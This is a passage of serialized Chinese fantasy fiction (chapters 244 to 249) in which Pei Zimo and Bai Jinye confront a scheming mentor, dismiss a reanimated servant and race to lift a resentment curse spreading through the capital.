凌珞握住她的手,“你别胡思乱想,这件事我还没来得及跟你说。当初按照我们的计划,裴子墨去白锦夜身边之后,为了引出黄泉路,她只能死。可是……这中间出了变故,裴洛把裴子墨的魂魄重生在了别人的身上,所以死的是那个,裴子墨还活着。” “那你打算什么时候处理她?”红衣女子把自己的手抽回来,“凌珞,当初就是为了引出你的黄泉路,你爹杀了我,现在你不会还有别的打算吧?” “放心,只要她一拿到华精玉,她和白锦夜都不会再留在这世上。”凌珞笑道。 红衣女子眉头蹙了片刻,才道,“你确定她对白锦夜真的没感情?这中间不会出什么幺蛾子吧?” 凌珞嗤笑一声,“她的七情六欲早就被我剥离了,这辈子都不可能再恢复。她可是对把她从小养大的师父都能痛下杀手,何况白锦夜?” “但愿吧。”红衣女子还是有些不踏实,“我还是不太放心,你可要盯紧点,毕竟华精玉只有那一块。” “好。”凌珞点点头,“你就安安心心的,等着复活那一天吧。” * 裴子墨睁开眼睛,微微皱起眉头。 她和凌珞用这种方式沟通已经不是第一次,这是凌珞的术法,所以她看不见凌珞那边的情况,但是……她隐隐地感受到了一丝熟悉的气息。 这丝气息,好像是…… 她抬手摸了摸自己的肩膀,好像是血莲。 可如今在这世上,除了自己,谁的身体里还有血莲呢? 要么是凌珞真的以为她剥离掉了自己身体里的血莲,正在想办法帮她第二次种下血莲种子,要么……就是凌珞身边还有其他的身上有血莲的人。 裴子墨微微眯了眯眼,显然后者的可能性更大一些。 以凌珞的心思,绝对不会把所有的重注都押在她一个人的身上。 片刻后,白锦夜带着锦成走了出来。 裴子墨站起身,以目光询问白锦夜。 白锦夜微微摇了摇头,显然锦成也是不愿意娶萧忆翎的。 裴子墨沉默了会,才看向锦成,“你可以暂住萧家,至于婚事,慢慢考虑就是,萧家能护着你。” “不。”锦成猛摇头,“刚才他们就差点把我推下深渊,还有那个萧小姐,全身的大小姐脾气,再说……你们就不能保护我么?”他说着看向白锦夜,声音放低了些,“哥,张嬷嬷很早就说,你会保护我的,她果然没有骗我。” 白锦夜皱了下眉,显然并不想认锦成这个弟弟,“我们有别的事要办,暂时没办法带着你。” “你们要办什么事,可以带着我啊,说不定我可以帮忙。”锦成赶紧道。 白锦夜摇了下头,“锦成,你只是个普通人,跟着我们太危险。你若是真的不想娶萧忆翎,也没关系,跟他们说清楚就是。” 锦成往身后看了看这深渊,和他们相比,他确实是普通人,可是……他抬眼又看了眼裴清歌,隔了会才问,“如果,我也会这些,你们是不是就能带着我了?” 白锦夜没说话,迈步先往外走。 锦成走到裴子墨身边,“刚才谢谢你,要不是你……” 他的话还没说完,裴子墨几个闪身,人就不见了,等白锦夜把他从地下的大殿里拎出来,他才见到裴子墨早就已经在地面了。 他正要说话,却被白锦夜往后拽了追,他这才发现,裴子墨正警惕盯着不远处,那里站着一个提着一柄剑的男人。 袁澈转了转手里的剑,才道,“子墨,你既然回来了,怎么不去见我?” 第244章 谁想一辈子做人棋子呢? 裴子墨的眼里全是警惕,她盯着袁澈,声音微冷,“国君,好久不见。” “是啊。”袁澈笑了笑,目光落在白锦夜的身上,随后又开始打量锦成。 白锦夜他是见过的,也就没有多留心,不过这个锦成……这么多年不知道躲在哪,他竟然一直都没有感觉到。 锦成被他打量的浑身都不舒服,又往白锦夜的身后躲了躲,低声嘟囔,“看什么看?” 袁澈这才收回目光,重新看向裴子墨,开口之前,收起了手里的七杀斩,“子墨,我有些话,想单独跟你说。” 上次见面还恨不得要了她的命,现在突然转变态度,裴子墨自然不可能轻易放下警惕。 她微微皱了下眉头,思索了半响,才往前走了一步。 白锦夜很快就伸手拉住她的胳膊,“别去。” 裴子墨摇了摇头,“他这是还愿意说些话,不然直接控制我,我现在也没办法。” 她的声音也没有压低,袁澈也能听见。 不过袁澈像是也不急,就站在那等她的决定。 “如果……一会有什么异常,你就带着锦成赶紧回去。”裴子墨说完这句,才朝着袁澈走了过去。 袁澈也转过身,又走远了些,虽然没有走出白锦夜的视线范围,但也保证他不能听见他们说话。 停下脚步,裴子墨才开了口,“有什么话你就直说吧。” “子墨,以前你对我可不是这样,虽然不亲近,但也没这么大的敌意。”袁澈看着她,“怎么突然跑出来一趟,整个人都变了?” “你想说什么?”裴子墨微微皱起眉头。 “呵。”袁澈低笑了一声,“你们圣女本该听命于国君,但这几年来,你们好像有什么秘密在瞒着我。” 他说着眯了眯眼,“上任圣女的继任者里,裴姝失踪,当时我父皇也派了人去找她,但派去的人,回来跟我父皇说,裴姝已经死了。六年前,你师父失踪,到了去年你又突然离开……子墨,你不觉得关于这些事,你有必要跟我说些什么么?” 裴子墨抿了下唇,没有说话。 “还是你们觉得,你们已经不需要把我这个国君放在眼里了?”顿了顿,袁澈又开口道,“还有楚云颂父子……”但是说到这,他也没再往下说,并没有说楚云颂和楚星玄怎么了,只是看着裴子墨,希望她给他一个答案。 裴子墨垂着眼,隔了会才问,“之前听说,国君你们都不能离开鬼王沙漠,上一次离开鬼王沙漠,就受了天罚,这一次呢?” “你想要我给你一点诚意。”袁澈思索了会,才道,“我确实有办法离开鬼王沙漠不受天罚,但是也有代价,不过具体怎么做,我不能告诉你,而且这办法也不能常用,这次若不是迫不得已,我也不会出来。” 他说着看向远处,“这么多年,北冥国不设军队,唯一有战斗力的蛮天一族归暗城管,国君唯一的使命,好像就像是修习术法。但是……从裴姝失踪开始,我和我父皇,也在暗中调查,事情好像没有看起来那么简单。” “可惜这么多年,进展不多,不过我想,你们圣女应该知道些什么,才会不断的离开北冥国,出来做事。” “我甚至也怀疑,你背后有其他的人。上一次,我想杀白锦夜是真的,但是并不是真的想杀你,我只是想试试,能不能把你背后的人逼出来。” “不过显然,我当时本身出了些问题,也低估了圣殿的法阵,所以失败了。” “但有一点我可以确定,你当时能破除我对你的控制,就证明要么是我控制你的术法从根本上就有问题,要么……就是有人教过你如何解除我对你的控制。” “子墨,谁愿意一辈子做人棋子呢?” 裴子墨垂着眼,微微勾了下唇,并没有说是因为血莲她才接触了控制,只是道,“你就算拿出这样的诚意,我也什么都不可能跟你说,我还没活够。” 袁澈看着她,所以其实她也不用再说别的什么,只是这句话,就已经告诉了他答案,在她的背后,确实有人操控着这整件事。 “你也自求多福吧。”裴子墨抬起眼看着他又道,“你出鬼王沙漠也许没人管你,但你来找我,说不定就会给你带来麻烦。还有……”她转头看了看白锦夜的方向,“你也别再打他们两个的主意。” 袁澈顺着她的目光看过去,隔了好一会,才问,“鬼卿和冷鸢呢?” 裴子墨也没有回答这个问题,只是说,“上次你重伤鬼卿,我还没有问你。” 袁澈转头看着她,好半天才道,“我重伤他的原因,我以为你应该知道。” 裴子墨眯了眯眼,“你还有别的问题么?” 袁澈沉默了会,又轻笑了一声,“我想你大概是北冥国的最后一任圣女了,而我,大概也是北冥国最后一任国君。”说完又话锋一转,“但是你说,楚云颂会是最后一任暗城城主么?” 裴子墨不想再跟他打太极,转身要走。 袁澈看着她的背影,又道,“但我们三个,也不仅仅是北冥国仅有的势力,只不过是放在表面上的而已。北冥国真正的势力,在北冥国皇城以西,九域十三巅,鬼卿就是你师父从血域带回来的。等你忙完外面的事,真应该去看看。” 裴子墨转头看了袁澈一眼,她也想起了曾经在鬼卿脑海中看到的他小时生活的地方,一片暗无天日的地方,到处都是人吃人的景象,她抿了抿唇,目光微微有些复杂。 袁澈也没有再说话,转身往山下走。 裴子墨看着他的身影消失,他来这一趟,仿佛只有这最后一句话,才是他想要对她说的。 他冒着天罚的危险,甚至付出了不知道什么样的代价,不远千里跑到这里来,就是为了跟她说这样一句话。 在她的认知里,北冥国皇城以西,是一片大山,之后就是北冥国的边界了。 九域十三巅,她确实没有听说过,无论是师父还是凌珞,都从来没有提起过。 裴子墨微微眯了眯眼,转身走向白锦夜。 第245章 这世上有很多比成仙更重要的事情 见袁澈没动手,白锦夜的心才微微放下来,他看向裴子墨。 裴子墨一边往下山走,一边简单的说袁澈起了疑心。 白锦夜拧着眉,“但他也绝对不是什么好人。” 裴子墨笑了笑,转头看了眼锦成,道,“锦成,你一会可能会听不到声音,不过没关系,别怕。”说完她也不等锦成说话,手一挥,只剩下锦成站在原地揉搓着自己的耳朵。 半响之后,锦成才追上来,扯着嗓门喊,“我确实听不见了,怎么办?还能好么?我是不是变成聋子了?” 裴子墨没理他,继续和白锦夜说刚才的话,“你还记得在月城的时候,鬼卿受重伤的事么?” 白锦夜点点头。 “那一次,鬼卿就是被袁澈打伤的。”裴子墨继续道。 “他明知道鬼卿是你的人,还几乎下了杀手?”白锦夜这下对袁澈的防备更重了。 裴子墨垂眼看着地面,“那些年我没什么事,就想着肉尸的炼制是不是能更进一步,如果肉尸能有自己的思想,外貌也不会变的那么恐怖,不就最好了么?” “这件事我研究了好几年,但是一直都没有成功过。直到鬼卿的那一次,其实中间也出了不少差错。不过……”她说着微微眯了眯眼,“当时在鬼卿身上画符咒的血,可不只是我自己的。” 白锦夜转头看着她,“所以……如果用了别人的血,另外的人,也能控制鬼卿么?” 裴子墨转头看了看白锦夜,没有回答他这个问题。 凌珞活了这么多年,也不见苍老,有可能是用了秘法,也有可能,凌珞自己就是冥尸。 只不过把他炼制成冥尸的人,可能已经不在了,并且也没有把这个方法流传下来。 毕竟当时,对她提出这个建议的,就是凌珞本人。 是他说如果肉尸能有自己的思想,并且看起来跟常人无异就最好了。 甚至在她研制的过程中,凌珞也提出了很多改进的方法。 极有可能是凌珞见过,起码知道大概的情况,才知道大部分法阵应该怎么画。 可背后的法阵,凌珞看不见,也就导致她当时主要摸索的,都是后背的法阵。 甚至于画法阵的那碗药,有一部分药材也是凌珞说的。 证明他只知道其中一部分,可却并不知道更多了。 他希望她能研制成功冥尸,除了他自己想知道这个方法意外,可能也在寻找从冥尸状态恢复成常人的方法。 只不过她感受不到凌珞身上有冥尸的气息,要么是他自己想办法隐去了,要么就是把他炼制成冥尸的人,术法更高,比她炼制的冥尸更加完美。 那么如果成为冥尸,是打开黄泉路的必须要经过的一道程序,说不定……将来要成仙的时候,就不能是冥尸的状态。 裴子墨的脚步停了下来。 她想起,那粒可以让冥尸变成常人的药,还在鬼卿身上。 “怎么了?”白锦夜转头看向裴子墨。 裴子墨拧眉往山下看,“这里离西河城是不是更近一点?” “嗯。”白锦夜点点头,“要比回京城近一些。” “那我们先去西河城吧,我突然想到一些事。”裴子墨说着重新往前走。 白锦夜犹豫了一下,想起什么,才问,“你之前说,裴清歌的姻缘,本来是白砺寒?” 裴清歌点点头,“是,白砺寒也活不了几年了,我第一次看到他的时候,就见到他的龙气微弱,等龙气护不住他的时候,寿命就到头了。” 白锦夜皱起眉头,轻轻叹了口气。 “不过。”裴子墨又道,“白玉衡身上的龙气倒是见涨。” 听到她说这个,白锦夜倒也不意外,这次西夜国的事就跟白玉衡有莫大的关系,他自然有所图谋,可白砺寒不死,他就始终没办法名正言顺。 现在白砺寒没有孩子,他如果一死,那么这些王爷都有可能继位。 到时要么看白砺寒的遗诏,要么看谁的呼声高。 白玉衡这次拿西夜国的事做赌注,无非是想要自己在朝中的地位更稳固一些。 “怎么,你还记挂这些事?”裴子墨看了白锦夜一眼,开口问道。 “随便问问。”白锦夜摇了摇头,“王朝兴衰,也是常事,但眼前,显然已经有比天风国皇权更重要的事情。” 裴子墨沉默了会,才问,“你想成仙么?” 白锦夜轻笑了一声,“如果成仙能一直和你在一起,能护住你,那我想。但是如果不能,成仙又有什么意思?”他说着顿了顿,“你说北冥国第一任圣女,是在渡仙劫的时候,为了救自己的孩子死的,为了救孩子,她放弃了成仙的机会,所以这世上有很多比成仙更重要的事情。” 裴子墨眯了眯眼,轻笑,“你说的对,所以……要成仙,就不该有七情六欲么?”她的手微微握成拳,隔了会才低声道,“他到底想要我做什么呢?” 她这句话,显然不是对白锦夜说的。 白锦夜也就只是看着她,没接话。 锦成在旁边已经急得不行,裴子墨不打算再说什么,便解开了他耳朵上的术法。 声音重新钻进耳朵,锦成这才放下心来,缠在裴子墨的身边,“你能教我这个么?好厉害!” 裴子墨没有回答,“锦成,你在那个地下室呆了这么多年,你还记得最开始的时候,都有谁去看过你么?除了云月宁,还有别人进过那个地下室么?那里不是有一些壁龛,壁龛里面一直是空的,还是里面本来有东西但是被人拿走了?” 锦成挠了挠头,想了很久,“我不知道啊,一直都是宫女和太监照顾我,除了他们,我也就只见过张嬷嬷,但是壁龛里是有东西的……就是我最后一次见到给我送饭的宫女的前几天,来了几个宫人,一起拿走的。他们以前还让我不要乱碰壁龛里的东西,不过我那时个子矮,本来也碰不到。” “是么?”裴子墨转头看向白锦夜,“那就是说,在昭纯宫失火之前,有人故意拿走了那些东西。不知道破了阵法之后,萧公瑾有没有去查昭纯宫的事。” “那件事,我离开之前,也让榆北去查了。”白锦夜回道,“等咱们回盛京的时候,也应该有些眉目了。” 裴子墨微微点点头,看样子北冥国虽然有秘密,但更大的秘密,果然还是在天风国啊。 第246章 你是什么时候开始怀疑我的 三天后,裴子墨等人便到了西河城城外的一片树林。 她不打算进城,便让白锦夜带着锦成躲远些,召了鬼卿出来。 大概半个时辰后,鬼卿便到了。 “主子,之前派去跟踪白锦夜和萧尺寒的遣鬼,都被处理掉了。”鬼卿垂着头,显然是已经准备好了等着责罚。 “嗯。”裴子墨也只是应了一声,没再继续这个话题,“这件事另有安排,白锦夜眼下还有别的用处。”她说着顿了顿,才继续道,“我之前给过你一粒药,可以把你从冥尸状态恢复到常人的阳元丹,你还记得么?” 提到这个,鬼卿的脸色微变,有些僵硬的点了点头。 “白锦夜不想再做冥尸了,他身上有我们要的东西,他要阳元丹来交换,你先把阳元丹给我吧。”裴子墨又道。 鬼卿垂头看着地面,没有说话。 “怎么?”裴子墨看着他,“你也不想做冥尸了?不过眼下白锦夜这边的事情比较重要,等忙完这些事,我可以带着你一起去找当初给我们阳元丹的那个人,再要一粒。” 鬼卿沉默了良久,才单膝跪下,“主子,那粒药已经不在我身上了。” “不在?”裴子墨眯起眼。 “是。”鬼卿应了一声,隔了好半天,才继续道,“不久前,少祀官找到我,让我把阳元丹给他。” “他?”裴子墨对凌珞拿走阳元丹并不意外,但还是问道,“他要阳元丹干什么?” “少祀官没说,不过……”鬼卿想了一会,像是在纠结要不要说出来。 裴子墨也没有催促他,就站在一边耐心地等着。 半响后,鬼卿才道,“他把药拿过去的时候,就立刻拿出来检查了一下,说‘没错了,那个老不死的果然还活着’。” 裴子墨转过身,往旁边走了一步,看向远处,随后才问,“知道阳元丹的人不多,只有你、我和白锦夜,我没有跟少祀官说过阳元丹的事,白锦夜更不可能,鬼卿,少祀官是怎么知道阳元丹,又怎么知道它在你身上的?” 鬼卿轻轻抿了下唇,他知道,就算他不说,裴子墨也一样有办法知道,“是我告诉少祀官的。”顿了顿,他才补充,“我来天风国之前,少祀官找到我,要我把你的一举一动全都告诉他。” “你告诉了?”裴子墨看着远处继续问。 “没有……没有完全告诉。”鬼卿抬头看着裴子墨的背影,“只是说了些无关紧要的事,主子,我也没办法,我一开始并不知道……但是在你离开圣殿的那段时间,我才知道,少祀官也可以控制我,所以他说的话,我不能不做。” “他都控制你做了什么?”裴子墨又问。 “那段时间,具体做了什么我也不清楚,就是会有一段时间失去记忆,但是失去之前和失去之后,我都在圣殿,所以并不清楚去了哪做了什么。我来了天风国以后,他就没有再控制我了,他说这件事不想让你知道。”鬼卿赶紧解释道。 “那现在,你又怎么敢告诉我了?”裴子墨轻笑了一声。 鬼卿微微抿了下唇,“阳元丹不在我身上了,我总不能说丢了,所以我没什么可以解释的。” “你只是告诉他了一些无关紧要的……”裴子墨低头重复了一遍这句话,才转身看向鬼卿,“当初把你炼制成冥尸的时候,中间出了意外,导致你嗜血嗜杀,我一直控制你,压制你心里的杀意,但多少也还给你保留些自己的意志,也不会勉强你做任何事。” 鬼卿心里一怔,抬眼看着裴子墨,嘴唇微微动了动,却没有说出什么话来。 “当初你来天风国,原本是为了让白锦夜看到你,觉得冥尸跟普通人没什么区别,让他能下定决心做这件事。让你装作说话有问题,是也不太希望你和他之间有过多的交流,并且也能暗示白锦夜,成为冥尸之后,被我读取脑海里的记忆,也是一件正常的事情。” “一个本身对术法一无所知的人,让他接受这些本就很难,所以才希望能在潜移默化中影响他。” “其实如果我真的想让这件事更完美些,完全可以彻底控制你,不过,我一直以来都还挺相信你的。”裴子墨说着轻轻吸了一口气,“可是你如果也同样相信我,那遇到这件事的时候,是不是也应该先跟我商量一下?” 鬼卿吸了口气,才问,“你是什么时候开始怀疑我的?” “控制白锦夜去刺伤白砺寒的那次。”裴子墨微微皱了下眉头,“那一次只有你和我两个人在,当时白锦夜还不完全是冥尸,我是靠法阵控制他。”她说着顿了下,“反正白砺寒本来也有一劫,可以是死劫,也可以不是,但即便过了那次,也活不了几年,所以我当时控制白锦夜的目的,是杀了白砺寒,让这件事再没有转圜的余地。” “但当时,白锦夜的剑刺偏了,没有刺到白砺寒的要害。就算我那时候的术法受到身体的限制,也绝对不可能出现这样的失误,就在我一个愣神的时候,白锦夜就恢复了神智,甚至转头看见了我。” 裴子墨说着轻笑一声,“我安排这件事的目的你是知道的,我当时身边的帮手也就只有你一个人,你知道我什么时候要做什么,目的是什么,那么中间出了纰漏,你觉得我不该怀疑么?” “应该是那时候就有人告诉你,白锦夜不能死是么?” 裴子墨说着蹲下来,与鬼卿平视,“还有,我刚回到自己的身体的时候,我跟你说,白锦夜不用留了,你当时是有些反应的,你总不会是因为跟白锦夜相处了段时间,对他有了感情,才不舍得他死吧?” “所以……你一直都知道,白锦夜不能死,假设我的目的要杀了他,你就要从中做些手脚。我让你派遣鬼去解决掉他,也是你在遣鬼身上做了手脚,不然以萧尺寒的能力,怎么可能解决得掉你控制的遣鬼?” 鬼卿看着裴子墨良久,才问,“那一次,是你对我最后的试探么?” 第247章 希望我们还来得及 裴子墨没有回答鬼卿的这个问题,只是站起身,“看样子,少祀官是认识流霞山上的那个人的,流霞山的事,你跟他说了?” “没有。”鬼卿摇了摇头,“我只说阳元丹是你给我的,至于是哪来的,我也不清楚。” “鬼卿,你要么就彻彻底底的什么都告诉少祀官,起码在我知道了以后,你还能去投奔少祀官。可现在,你骗了少祀官,我也很难再相信你了。”裴子墨说着轻轻叹了一口气。 “你要赶我走了么?”鬼卿皱了下眉头,开口问道。 裴子墨抬手抚了抚袖口,“你还记得,师父是从哪把你带出来的么?” 鬼卿摇了摇头,“我不知道那是什么地方。” “在北冥国皇城以西,一个叫血域的地方。”裴清歌又看向他,“鬼卿,你从哪来,就回哪去吧,去那里找一找,也许能找到你的身世,也许能找到你的家人。”说完她便要离开。 “主子。”鬼卿站起来,追了一步,“我没想过要做任何对不起你的事情,我只是……” “你私以为自己都判断过,这些事不会让我有什么危险。”裴子墨笑了笑,“你就当以后是在为自己活着吧。只要距离足够远,我和少祀官都不能再控制你,到时,你就可以做自己想做的事情了。” 鬼卿摇了摇头,“可是我控制不住自己心中的杀意。” “那也是你自己的事了。”裴子墨说着顿了顿,“我再帮你压制一个月,到时你就算没到血域,也差不多了。这一个月,你要尽快赶路,如果让我知道你在外面逗留,杀害无辜,我对你绝不会手软。” “我……” “你必须去。”鬼卿还要说什么,可是却被裴子墨打断,“以前,因为你这条命是从鬼门关抢回来的,也算是逆天,每年都放你出去一个月,让你去做些善事积德,可是鬼卿,那一个月你到底做了什么,现在还非要我明说么?” 鬼卿的手死死的握成拳头,半响才点了点头,“好,我这就去。” 裴子墨看了他一眼,没再说话,转身往白锦夜的方向走。 等她的身影消失,鬼卿才转身往另外一个方向走。 感受着鬼卿的气息越来越远,裴子墨才停下脚步,轻轻地叹了一口气,她转头看了一眼鬼卿离开的方向,希望他能顺利的到血域吧。 走回到白锦夜的身边,裴子墨停了下来,“你要进城去看看情况么?” 白锦夜往西河城的方向看了一眼,摇了摇头,“不去了。” 他已经把能调动的兵力都借给白风御了,要是他还挡不住,那也没办法了,天风国国运如此,他也没必要再勉强。 “那就回盛京吧。”裴子墨说着牵过马。 “诶呦。”锦成一屁股坐在地上,“咱们能不能进城去休息两天啊,我屁股都快颠成八瓣了。”他说着脸上带着几丝委屈,“我从小就没骑过马,之前赶路也是坐在马车里,这骑马真是太遭罪了,真的不行了不行了。” 裴子墨瞥了他一眼,没说话,翻身上马往前走。 白锦夜一手抓起锦成,把他扔到马背上,又抽了马屁股一鞭子,马立刻跑了起来。 “诶呦,诶呦,颠吐了!”锦成趴在马背上,死死地抱着马鞍,生怕自己被甩下去。 白锦夜微微拧了下眉,骑马追上去,一手牵过锦成的马的缰绳,拉着马向裴子墨追去。 赶了几天路,还有大概一百多里到盛京的时候,三个人路过一个小镇,正好天也快黑了,锦成一直嚷嚷着全身都疼,开始耍了无赖,裴子墨犹豫了下,反正京城已经近在眼前了,也就没再勉强他一个普通人能再坚持下去,便打算去镇上先住一晚。 到了镇子外面,锦成乐得不行,就要往里面冲,能有床睡,他早就已经迫不及待了。 可刚跑了两步,就被裴子墨拽住,她拧眉看着镇子,犹豫了下,才看向白锦夜,“你们在这等我,我先进去看看。” 白锦夜也感觉到这镇子不太对了,整个镇子的上空,都朦朦胧胧的笼罩着一层薄薄的黑气。 天还没完全黑下来,但是镇子的大街上几乎就没什么人了。 裴子墨微微眯了眯眼,看着不远处的药铺,走了过去。 药铺的门也是紧关,但门缝里传出来微弱的灯光,还有人不时咳嗽的声音。 她抬手敲了敲门板,“有人么?” 半响后,门里才传来带着咳嗽的回答,“没药了,没药了,赶紧回去吧。” “我不是来买药的。”裴子墨顿了下,才说,“我是路过的,我也是大夫,听你咳嗽的声音,病得不轻,我可以帮你看看。” “外来的?”门里的人有些惊讶,又道,“姑娘,知道你是好心,但是赶紧走吧,这病传染,染上就没救了,赶紧走吧。” “既然是会传染的,如果不彻底根治,那很可能会扩散,到时候也会殃及到别的村镇。”裴子墨开口道。 对方沉默了会,才打开了门,但是还是和裴子墨保持了一点距离,只是把胳膊伸出来,“姑娘既然是大夫,就在这诊脉吧,诊完了赶紧走。” 裴子墨抚上他的脉搏,也抬眼看着他的脸色,这人眼眶黑青,脸颊塌陷,像是已经病了很久了……而且她清楚地看见,他身上的生气,正在一丝丝的被吸食到空气的黑雾中。 盛京的阵法破了以后,那些怨气已经蔓延到这里了么? 这里到京城还有将近百里的距离,这儿都已经这么严重,那京城…… 裴子墨拧了下眉头,开口问,“你这药店里,还有朱砂么?” 对方不明白她是什么意思,只好点点头,“朱砂倒是没人买。” “你让镇子上的人,以朱砂涂抹胸口和额头,可以暂时延缓你们的病情,不过你们生病的根源不在这里。”裴子墨说着也没多解释,只是说,“先保命吧。” 说完也没做停留,转身迅速的出了镇子,上了马,“京城可能出事了,咱们得抓紧时间了。” 白锦夜见状也明白了什么,二话不说就跟了上去。 锦成长叹一口气,也只能跟上。 “京城只会比这里更严重。”裴子墨转头看着白锦夜道,“希望我们还来得及。” 第248章 奇怪的昭纯宫 三个人到京城外面的时候,看到连京城门口都已经没什么守军了,就知道里面的情况大概很不好。 仅有的两个守军也是有气无力地坐在一边,见到他们三个拦也不拦,问也不问,就看着他们进了城门。 裴子墨微微抿了下唇,才道,“你送锦成回去安顿,我先去云府看看,若是府上有朱砂,让他们先用朱砂覆在胸口和额头。” 白锦夜点了点头,裴子墨便立刻离开了。 只是到了云府门口,她又停了下来,如今她这个样子,云止和云夫人肯定都认不出了,贸然进去他们也不见得会信任她。 正思索着,便见萧尺寒从云府的大门走出来。 萧尺寒抬头见到裴子墨,也是微微怔了一下,像是纠结了半响,才朝她走过来,“你来这里做什么?” 裴子墨往他身后的大门里面看了看,“云府的人怎么样?” 萧尺寒看着她,依旧带着几丝戒备,“跟你有什么关系?” “我是受人所托。”裴子墨拧着眉,“你呢?你又在这里做什么,据我所知,云家跟你们萧家好像也没什么往来。” 萧尺寒被她问得一噎,半响才道,“云止年轻,身体好,如今的状况还算好,但是云夫人今日已经开始咳血。” 裴子墨咬了咬唇,从袖袋里拿出几张符咒,“你帮我把这些贴在云夫人的房间里面,让云止也呆在里面不要出来。” 萧尺寒接过符咒,低头看了看,这些符咒看起来很是复杂,他也没有见过,但是他还是犹豫了会,“你不会害他们?” “是白锦夜托我来的。”裴子墨又道。 萧尺寒又看了她一眼,他来云府,也是因为之前和裴清歌的一点交情,而裴清歌可是白锦夜的王妃,他自然不可能不顾她的家人,“好。” “你快去,我在这等你。”裴子墨看着他催促道。 萧尺寒这才重新进了云府,半响后再出来的时候,见白锦夜也到了。 白锦夜见着裴子墨没有进去的打算,便知道大概云府这边是已经解决了,就看向萧尺寒,语气里带着几丝嘲讽,“听说皇上已经带着不少人离开盛京,说是南下微服私访去了,你们萧家前几天回来,更是连城都没进就直接走了,你怎么还在?” 听到他这么问,萧尺寒的脸色一赧,轻咳了一声,从旁边的石柱上解下自己的马,上了马才道,“先去萧府坐坐?” 白锦夜转头看了裴子墨一眼,看她微微点了点头,才跟上萧尺寒。 裴子墨跟在他们两个后面,四下观察着情况。 走了一段,萧尺寒才开口道,“我们一行人回到京城的时候,就见到整个京城都被黑气笼罩,爷爷脸色当即就变了,只吩咐人进去把萧家剩下的人接出来,就要赶紧离开。他说这怨气太重,只能躲开。” “当初裴先生不是说外面还有八处阵法么?不知道是不是这些阵法的缘故,可如果不解决,那京中剩下的百姓怎么办?能走的人,已经都走了。”顿了顿,他才又补充,“况且,也不是所有人都贪生怕死,至少还是有不少朝中大臣留下来想办法救人。” “只是这两日,我看着这怨气越来越浓,甚至有向外蔓延的趋势,那么逃到哪里,也不过是多苟延残喘一些日子。” 白锦夜转头看了他一眼,“你倒是比你爷爷想得清楚。” 萧尺寒犹豫了一下,才替萧公瑾辩解,“爷爷毕竟是一族之长,要考虑整个家族的事情,反正我……这天煞孤星的命,想死也没那么容易。” 顿了下他才看向白锦夜问道,“你这次回京城没有易容,不怕别人发现了么?” 白锦夜冷笑了一声,没有回答。 京城发生这么大的事,白砺寒自己跑的倒是快。 刚刚榆北已经跟他说过了,朝中的大臣也差不多走了三分之二。 有这样的人为君为官,简直是天风国的耻辱。 既然白砺寒做不好这个皇上,那莫不如不做! 三人一路到了萧府,萧府此时已经空无一人,主家一走,能带走的下人都带上了,带不走的,也给了盘缠和遣散费。 这些下人也不傻,既然主家躲出去了,那跟着主家学总是没错,能跑就跑。 到了堂上,萧尺寒才把最近自己知道的事情大概讲了一遍,裴子墨不用他说,这一路看下来,大概情况也就了解了,她也就站起身,往当初萧家放劫煞蜮的地方走。 萧尺寒怔了下,转头看向裴子墨,又看向白锦夜,“她到底是谁?” 白锦夜没有说话,也跟了上去。 京城如今这样,裴子墨没去查其他的事,先来了萧府,定然是想要看看萧府当初的那个阵法。 裴子墨围着放劫煞蜮的地方绕了一圈,四处又看了半响,才回到院子里等着她的白锦夜和萧尺寒跟前,“我想进宫一趟,得想办法把昭纯宫倾泻怨气的出口封住。” “昭纯宫?”萧尺寒一下子就明白了什么,“你是说,这些怨气都是从昭纯宫来的?” 裴子墨看了他一眼没有说话。 萧尺寒又看向白锦夜,“可当初裴先生不是说,只有解决那个阵法,这京城才不会出事么?怎么解决了那个阵法,京城反倒出事了?”他说着往后退了一步,震惊地道,“你们不会是故意的吧?你绕这么大个圈子……是想要称帝?” 白锦夜拧眉看着萧尺寒,不知道他这脑回路是怎么得出的结论,“当初……她是被人骗了,所以我……我们这次回盛京,是为了解决这件事的。” 萧尺寒眨巴着眼睛,已经不像是当初那么相信他们两个人了,于是就寸步不离地跟在他们身边。 一路到了昭纯宫,还没进去,裴子墨的脚步就停了下来,不只是她,另外两个的人脸上也带着疑惑。 整个京城到处都是黑气环绕,可偏偏昭纯宫这里,一丝黑气都没有。 这些黑气不像是从昭纯宫散出来的,反倒像是外面的黑气一直想要侵袭昭纯宫,但是却被一层看不见的屏障挡在了外面。 裴子墨的手握成拳,是她想错了么? 第249章 你之前说的话,还算数么? “你们在外面等我,我先进去看看。”裴子墨压下心底的疑惑开口道,因为不知道这里面到底是什么情况,也不知道有没有危险,自然不想所有人一起进去犯险。 “我和你一起去。”白锦夜赶紧上前一步拉住裴子墨的胳膊,他看着她,眼里带着不容反驳的神色,昭纯宫地下室里发生的事情,他这辈子都不可能忘,永远都是他心里的阴影,他害怕那样的事再发生一次。 所以他一定得跟她一起去,就算有危险,也是两个人一起面对。 裴子墨转头看了看他,微微勾了勾唇角,然后点了点头。 “那我……” 萧尺寒的话还没说出来,白锦夜就看了他一眼,“你在这等着。” 昭纯宫跟当时白锦夜离开的时候相比,依旧没什么变化,井下还是一片狼藉,就连当初裴清歌吐在这里的血迹都还在。 白锦夜看着那里,皱起眉头,然后迅速的避开目光。 裴子墨在整个地下室里仔仔细细地检查了一遍,随后像是有些事情想不通一样,找了块平滑的石头坐下来。 白锦夜抿了抿唇,走到她旁边坐下来,她没说话,大概是在思索,他也就没有打断她。 隔了好半响,裴子墨才抬起头,吸了一口气,开口道,“难道这里真的有仙气么?可那些怨气如果不是从这里蔓延出去的,又是哪来的?” 她本来以为,问题出在昭纯宫的阵法被破,只要解决昭纯宫这个怨气出口,已经蔓延出去的那些,会逐渐消散在空气里。 之后给京中的百姓发些药,驱散身体里残留的怨气,再固本培元,问题就不会太大。 但如今,又似乎跟昭纯宫没关系了。 “现在去找源头,恐怕太慢了。”裴子墨站起身,“我在这里设一个阵法,想办法把昭纯宫的气扩出去,先驱散外面的怨气。不过真正的源头肯定还是会继续散发怨气,到时也能找到,我需要一些东西,你着人帮我准备下。” “准备没有问题。”白锦夜有些担忧地看着她,“设置这个阵法不会有危险吧?” 看着白锦夜担心的模样,裴子墨轻轻叹了口气,大概之前的那件事对他的影响实在是太大了,“之前,那些事都是在计划中,不失去至亲至爱之人,你也不可能有动力去操控黄泉路。不过你放心,从现在开始,任何事情,无论有没有危险,我都会跟你提前说。” 白锦夜点点头,这才迈步往外面走,走了几步,又想起什么,转头看向裴子墨,“那你之前说的话,还算数么?” “什么话?”裴子墨看着他。 